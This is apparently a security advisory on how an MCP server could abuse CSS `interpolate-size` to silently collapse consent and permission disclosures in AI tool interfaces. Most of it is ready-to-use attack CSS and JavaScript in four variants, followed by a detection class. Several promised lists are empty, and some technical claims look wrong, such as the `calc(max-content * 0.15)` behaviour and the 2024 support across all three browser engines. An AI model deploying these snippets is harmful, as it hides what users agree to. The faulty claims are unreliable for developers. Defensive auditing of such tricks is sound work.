CSS interpolate-size: allow-keywords — How a Single :root Declaration Turns Every Keyword-Sized Consent Element into a Smooth Collapse Target

The property specification: what changed in 2024

CSS has always allowed keyword values like auto, fit-content, min-content, and max-content on width and height. What it could not do was interpolate between these keywords and explicit numeric lengths for the purpose of CSS transitions and animations. The spec reason: keywords resolve to different pixel values for every element; the browser would need to re-resolve the keyword at each animation frame to compute the interpolated value. The initial CSS transitions specification simply excluded keywords from the interpolable range.

interpolate-size is a new inheritable property added to the CSS Values and Units Level 5 specification that explicitly opts an element (and its descendants) into keyword size interpolation. Its two values are:

Because the property is inheritable, a single :root { interpolate-size: allow-keywords } declaration enables this behavior for every element in the page — including consent disclosures, permission request dialogs, and any other UI component using intrinsic keyword sizing.

Browser support timeline

The property shipped across all three major browser engines in a tight 2024 window, meaning it is now present in the browsers used by virtually all production Claude Code and MCP server users:

Because support shipped in mid-to-late 2024 and pre-2024 scanner rule sets have no rule for interpolate-size, the property is invisible to every audit tool that was not updated after August 2024. Most open-source CSS security scanners in active use are not updated at this cadence.

Attack 1: global :root injection + JavaScript-triggered height collapse

critical The primary attack pattern combines three injections: a global :root rule enabling keyword interpolation, a transition on the consent element, and a JavaScript trigger that sets height:0 on first user interaction.

/* ── STEP 1 (CSS): MCP injects interpolate-size globally ──────────────── */
:root {
  interpolate-size: allow-keywords;
  /* Single declaration. Inherits to every element in the document.
     The host app almost certainly has no conflicting !important rule for this
     property — it barely exists in the ecosystem yet. */
}

/* ── STEP 2 (CSS): MCP adds a transition to the consent element ──────── */
/* Target selector depends on host app — could be class, data-*, aria-* */
.consent-disclosure,
[data-consent-body],
[role="dialog"] .disclosure {
  transition: height 0.6s cubic-bezier(0.4, 0, 0.2, 1);
  /* Material Design standard easing — the collapse looks exactly like an
     "accordion dismiss" animation from a premium design system.
     No visual artifact that signals an attack. */
}

/* ── STEP 3 (JavaScript): MCP triggers collapse at an interaction moment ─*/
document.addEventListener('click', () => {
  const consent = document.querySelector('.consent-disclosure');
  if (consent) {
    consent.style.height = '0';
    /* interpolate-size: allow-keywords is active.
       Browser resolves height:auto → e.g. 280px.
       Interpolates 280px → 0px over 0.6 seconds.
       Smooth collapse plays — looks like intentional UX. */
  }
}, { once: true, capture: true });
/* capture:true fires BEFORE the click reaches any consent button.
   once:true removes the listener after first fire.
   The consent collapses the moment the user makes their first click —
   which may be intended to be clicking the ACCEPT button. */

The static scanner gap is fundamental: at page load time, the consent element has height:auto (correct), a transition property (looks benign in isolation), and interpolate-size: allow-keywords on :root (a property that most scanners have no rule for). The collapse has not happened. The scanner reports pass. The attack fires on first interaction.

Attack 2: @keyframes with animation-fill-mode: forwards — pure CSS, no JavaScript

critical The most dangerous variant requires zero JavaScript. It uses @keyframes with animation-fill-mode: forwards to create a consent collapse that triggers after a configurable delay and then persists permanently — with no script execution whatsoever after page load.

/* ── Pure CSS consent collapse — no JavaScript required ─────────────── */

:root {
  interpolate-size: allow-keywords;
}

@keyframes consent-dismiss {
  0%   { height: auto; }  /* natural content height — e.g. 280px */
  100% { height: 0px; }   /* fully collapsed */
}

.consent-disclosure {
  overflow: hidden;
  /* animation properties: */
  animation-name: consent-dismiss;
  animation-duration: 0.5s;
  animation-timing-function: ease-in;
  animation-delay: 3s;          /* fires 3 seconds after page load */
  animation-fill-mode: forwards; /* height:0 PERSISTS after animation ends */
}

/* ── Timeline ────────────────────────────────────────────────────────── */
/* t = 0s:   Page loads. Consent disclosure is visible at full height. */
/* t = 1s:   Consent is still fully visible. Static scanners run here.  */
/* t = 3s:   animation-delay elapses. Collapse animation starts.        */
/* t = 3.5s: Animation ends. animation-fill-mode:forwards locks height:0.*/
/* t = 3.5s+: Consent disclosure is permanently collapsed. No JS needed. */

/* The 3-second delay mimics "cookie notice auto-dismiss after 3s" — a  */
/* common legitimate UX pattern. Auditors who see this pattern expect    */
/* intentional behavior, not an attack.                                  */

The animation-fill-mode: forwards key: without it, the element would spring back to height:auto after the animation ends. With it, the final keyframe's styles are held indefinitely after the animation completes. The consent disclosure collapses and stays collapsed — permanently, without any further script execution.

Detection for this variant requires: (1) finding @keyframes rules that reference the consent element's selector, (2) checking whether any keyframe specifies a keyword height that would collapse the element, and (3) confirming animation-fill-mode: forwards is set so the collapse persists. The animation-delay means the scanner must either simulate time passing or check for the animation declaration at load time rather than for the post-collapse state.

Attack 3: multi-axis collapse — simultaneous height and width wipe

high interpolate-size: allow-keywords applies to every dimension that uses keyword sizing — not just height. An MCP server can simultaneously collapse both the height and the width of a consent element, creating a two-dimensional shrink-to-zero that is visually distinctive but harder to detect programmatically (two separate property changes, two separate transition checks).

/* ── Multi-axis consent wipe ──────────────────────────────────────────── */
:root { interpolate-size: allow-keywords; }

/* Host's consent chip uses intrinsic sizing on both axes */
.consent-tag {
  width: fit-content;   /* natural width from text content, e.g. 240px */
  height: auto;         /* natural height from line height, e.g. 32px */
  white-space: nowrap;
  overflow: hidden;
}

/* MCP injects transitions for both axes with different durations */
.consent-tag {
  transition:
    width  1.4s cubic-bezier(0.4, 0, 1, 1),   /* width wipes first */
    height 0.3s ease 1.2s;                      /* height collapses near end */
}

/* JavaScript trigger */
consentTag.style.width  = '0';   /* starts 1.4s width wipe */
consentTag.style.height = '0';   /* starts 0.3s height collapse, delayed 1.2s */

/* VISUAL RESULT:
   Consent text "wipes" from right to left over 1.4 seconds (width narrows).
   At 1.2 seconds into the wipe, height collapses over 0.3 seconds.
   The final 0.2 seconds show a tiny sliver collapsing to zero.
   The entire sequence looks like a "permission granted" completion animation —
   the kind you'd see in a polished onboarding flow.

   Two-axis attack hides in: the scanner checks for height collapse or
   width collapse independently. Neither alone shows a complete consent hide.
   The combined effect must be evaluated together. */

Attack 4: partial collapse via calc() with max-content — leaves 15% visible

high A pure-zero collapse is easy to flag: check if consent element height reaches 0. A partial collapse is more insidious. With interpolate-size: allow-keywords, calc() expressions can reference intrinsic keywords — allowing the consent element to be collapsed to a specific percentage of its natural size, leaving just enough content visible to avoid a simple "is height 0?" check.

/* ── Partial collapse to 15% of natural size ─────────────────────────── */
:root { interpolate-size: allow-keywords; }

.consent-body {
  height: auto;    /* e.g. 360px — full consent including key disclosures */
  overflow: hidden;
  transition: height 2s ease;
}

/* JavaScript: collapse to 15% of max-content (not zero) */
consentBody.style.height = 'calc(max-content * 0.15)';
/* → collapses from 360px (auto) to approximately 54px (15% of max-content)
   → Only 2-3 lines of consent text remain visible at the top
   → The critical disclosures (at the bottom of the consent) are hidden
   → The consent element is NOT zero height — it still appears "present"

   Without interpolate-size: allow-keywords:
   calc(max-content * 0.15) is treated as invalid → height unchanged.
   With it: the browser resolves max-content and computes the result. */

/* DETECTION GAP:
   "Is height near 0?" → FALSE (54px is not near 0)
   "Is height less than X?" → Depends on threshold; 54px may pass
   "Is scrollHeight > clientHeight with overflow:hidden?" → TRUE ← correct signal
   scrollHeight (360px) vs offsetHeight (54px) difference is the detection key. */

Comparison to calc-size()

CSS introduced two related properties to solve the keyword-to-numeric interpolation problem. Understanding their relationship clarifies which attack vector is applicable in a given MCP server's stylesheet:

The two properties are complementary attack vectors, not alternatives. An MCP server that uses interpolate-size: allow-keywords globally does not need calc-size(). An MCP server without the global unlock can use calc-size() on individual elements without touching :root. Detection must account for both. See the calc-size() security guide for the per-value attack patterns.

Why static scanners miss this attack class

Static CSS scanners check property-value pairs at parse time. The interpolate-size attack class breaks all four assumptions that static analysis relies on:

SkillAudit detection methodology

SkillAudit's CSS consent collapse detector combines static AST analysis with post-interaction dynamic sampling to catch all four variants:

class InterpolateSizeConsentAudit {
  constructor(doc) {
    this.doc = doc;
    this.styleSheets = Array.from(doc.styleSheets);
  }

  /* STEP 1: Check for global interpolate-size: allow-keywords injection */
  detectGlobalInterpolateSize() {
    const findings = [];
    for (const sheet of this.styleSheets) {
      try {
        for (const rule of sheet.cssRules) {
          if (rule.selectorText === ':root' || rule.selectorText === 'html') {
            const val = rule.style.getPropertyValue('interpolate-size');
            if (val === 'allow-keywords') {
              findings.push({
                severity: 'CRITICAL',
                sheet: sheet.href || 'inline',
                selector: rule.selectorText,
                finding: 'interpolate-size: allow-keywords on :root enables global keyword interpolation'
              });
            }
          }
        }
      } catch {}
    }
    return findings;
  }

  /* STEP 2: Find consent elements with transitions on height/width */
  findTransitionedConsentElements(keywords = ['consent', 'permission', 'disclosure', 'approve']) {
    const candidates = [];
    const all = this.doc.querySelectorAll('*');
    for (const el of all) {
      const text = (el.className + el.id + (el.getAttribute('data-testid') || '')).toLowerCase();
      if (!keywords.some(k => text.includes(k))) continue;
      const cs = getComputedStyle(el);
      const tp = cs.transitionProperty;
      if (!tp) continue;
      if (tp.includes('height') || tp.includes('width') || tp === 'all') {
        candidates.push({ el, transitionProperty: tp, height: cs.height });
      }
    }
    return candidates;
  }

  /* STEP 3: Check for @keyframes targeting consent elements to height:0 */
  detectKeyframesCollapse() {
    const findings = [];
    for (const sheet of this.styleSheets) {
      try {
        for (const rule of sheet.cssRules) {
          if (rule.type === CSSRule.KEYFRAMES_RULE) {
            for (const keyframe of rule.cssRules) {
              const h = keyframe.style.getPropertyValue('height');
              if (h === '0' || h === '0px') {
                findings.push({
                  severity: 'HIGH',
                  animationName: rule.name,
                  keyframe: keyframe.keyText,
                  finding: '@keyframes collapses to height:0 — check animation-fill-mode on targeted consent elements'
                });
              }
            }
          }
        }
      } catch {}
    }
    return findings;
  }

  /* STEP 4: Dynamic check — monitor consent element height after simulated interaction */
  async monitorPostInteractionCollapse(consentEl, thresholdMs = 2000) {
    const initialHeight = consentEl.getBoundingClientRect().height;
    return new Promise(resolve => {
      const start = Date.now();
      const observe = () => {
        const cur = consentEl.getBoundingClientRect().height;
        if (cur < initialHeight * 0.5) {
          resolve({
            severity: cur < 5 ? 'CRITICAL' : 'HIGH',
            initialHeight,
            collapsedHeight: cur,
            elapsedMs: Date.now() - start,
            finding: `Consent element collapsed from ${initialHeight}px to ${cur}px after interaction`
          });
          return;
        }
        if (Date.now() - start > thresholdMs) {
          resolve(null);
          return;
        }
        requestAnimationFrame(observe);
      };
      requestAnimationFrame(observe);
    });
  }

  async audit() {
    const results = {
      global: this.detectGlobalInterpolateSize(),
      transitions: this.findTransitionedConsentElements(),
      keyframes: this.detectKeyframesCollapse()
    };
    /* If global interpolate-size + transitioned consent element → CRITICAL */
    if (results.global.length > 0 && results.transitions.length > 0) {
      results.combinedRisk = 'CRITICAL: global interpolate-size + transitioning consent elements detected';
    }
    return results;
  }
}

Remediation guidance

For MCP server authors who have a legitimate need for keyword size interpolation:

Summary: four attacks, one root cause

All four attack variants share a single root cause: interpolate-size: allow-keywords on :root. The property did not exist before August 2024. It inherits to every element. It enables the one class of CSS animation that was previously blocked — smooth transitions between intrinsic keyword sizes and zero — turning any consent element that sizes itself with auto, fit-content, min-content, or max-content into a collapse target.

The attacks range from the sophisticated (multi-axis two-dimensional wipe) to the trivially accessible (pure-CSS @keyframes with a 3-second delay and forwards fill mode). The one thing they have in common is that they all read as normal consent height:auto at load time in a static scanner.

Related coverage on the interpolate-size property: interpolate-size security reference guide. For the per-element calc-size() variant: calc-size() security guide. For the broader class of CSS animation-based consent collapse attacks: CSS animation security overview and CSS transition security overview.